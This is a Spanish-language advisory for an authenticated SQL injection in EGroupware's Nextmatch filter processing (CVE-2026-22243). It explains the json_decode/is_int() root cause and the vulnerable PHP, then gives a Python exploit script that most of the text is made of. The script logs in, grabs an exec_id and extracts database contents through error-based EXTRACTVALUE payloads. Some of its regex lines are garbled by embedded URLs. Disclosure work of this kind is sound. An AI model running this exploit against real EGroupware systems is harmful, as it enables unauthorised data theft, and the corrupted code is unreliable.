
CVE-2026-22243 - EGroupware tiene inyección SQL en el procesamiento de filtros de Nextmatch
| Campo | Detalles |
|---|---|
| ID de CVE | CVE-2026-22243 |
| Gravedad | ALTA |
| Aviso | Ver aviso |
| Descubierto por | Lukasz Rybak |
Inyección SQL autenticada crítica en el procesamiento de filtros del widget Nextmatch
Existe una vulnerabilidad crítica de inyección SQL en los componentes principales de EGroupware, específicamente en el procesamiento de filtros Nextmatch. La falla permite a atacantes autenticados inyectar comandos SQL arbitrarios en la cláusula WHERE de las consultas a la base de datos. Esto se logra explotando un problema de manipulación de tipos de PHP en el que la decodificación JSON convierte cadenas numéricas en enteros, omitiendo la comprobación de seguridad is_int() utilizada por la aplicación.
Análisis de la causa raíz
La vulnerabilidad existe en la forma en que la capa de abstracción de base de datos (Api\Db) y las clases de almacenamiento de alto nivel (Api\Storage\Base, infolog_so) procesan la matriz col_filter utilizada en los widgets "Nextmatch".
La aplicación intenta validar la entrada usando is_int($key) para determinar si una clave de matriz representa un fragmento SQL crudo en el que se puede confiar. Sin embargo, al procesar solicitudes POST basadas en JSON, json_decode de PHP convierte automáticamente las claves de cadena numéricas (por ejemplo, "0") en enteros nativos.
En consecuencia, un atacante puede enviar una carga útil JSON con una matriz asociativa que contenga claves numéricas. La aplicación interpreta estas claves como enteros (is_int devuelve true) y añade ciegamente los valores asociados, que contienen SQL malicioso, directamente a la consulta.
Ubicaciones de código vulnerables
sources/egroupware/api/src/Db.php (Aprox. Línea 1776)
Método: column_data_implode// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
if (empty($data)) continue;
// VULNERABLE: $data is appended directly to SQL without sanitization
$values[] = $data;
}
sources/egroupware/api/src/Storage/Base.php (Aprox. Línea 1134)
Método: parse_search// In function parse_search
foreach($criteria as $col => $val) {
// VULNERABLE: is_int() returns true for JSON keys like "0"
if (is_int($col)) {
$query[] = $val;
}
// ...
}
He verificado esta vulnerabilidad en una instancia Docker local y la he confirmado (en modo solo lectura) en su instancia de demostración pública (demo.egroupware.net).
Script de explotación automatizado: El siguiente script automatiza el inicio de sesión, la extracción de exec_id y la exfiltración de datos mediante inyección SQL basada en errores.
import requests
import re
import sys
import urllib3
# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"
session = requests.Session()
session.verify = False
session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})
def extract_form_inputs(html):
inputs = {}
matches = re.findall(r'<input[^>]+>', html)
for match in matches:
name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
if name_m:
name = name_m.group(1)
value = value_m.group(1) if value_m else ""
inputs[name] = value
return inputs
def login():
print(f"[*] Target: {BASE_URL}")
login_url = f"{BASE_URL}/login.php"
try:
print("[*] Retrieving login form...")
r_get = session.get(login_url, timeout=10)
data = extract_form_inputs(r_get.text)
data.update({
"login": LOGIN_USER,
"passwd": LOGIN_PASS,
"submitit": "Login",
"passwd_type": "text"
})
if 'cancel' in data: del data['cancel']
print(f"[*] Attempting login as: {LOGIN_USER}...")
r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
print("[-] Login failed. Server returned login form.")
return False
print("[+] Login successful.")
return True
except Exception as e:
print(f"[-] Critical error during login: {e}")
return False
def get_exec_id():
print("[*] Retrieving exec_id...")
url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
try:
r = session.get(url, timeout=10)
match = re.search(r'etemplate_exec_id(?:"|"|\\")\s*:\s*(?:"|"|\\")([^&"\\]+)', r.text)
if match:
eid = match.group(1)
print(f"[+] ID found: {eid}")
return eid
else:
if 'name="passwd"' in r.text:
print("[-] Session expired or login failed.")
else:
print("[-] exec_id pattern not found in source code.")
except Exception as e:
print(f"[-] Error retrieving ID: {e}")
return None
def run_query(eid, sql):
full = ""
url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
print(f"[*] Executing SQLi: {sql}")
for offset in range(1, 201, 30):
chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
post_data = {
"request": {
"parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
}
}
try:
r = session.post(url, json=post_data, timeout=10)
match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
if not match:
match = re.search(r"~([^~]+)~", r.text)
if match:
chunk = match.group(1)
if "..." in chunk: chunk = chunk.replace("...", "")
full += chunk
if len(chunk) < 1: break
else:
break
except Exception as e:
print(f"[-] Query error: {e}")
break
return full if full else "NO DATA / ERROR"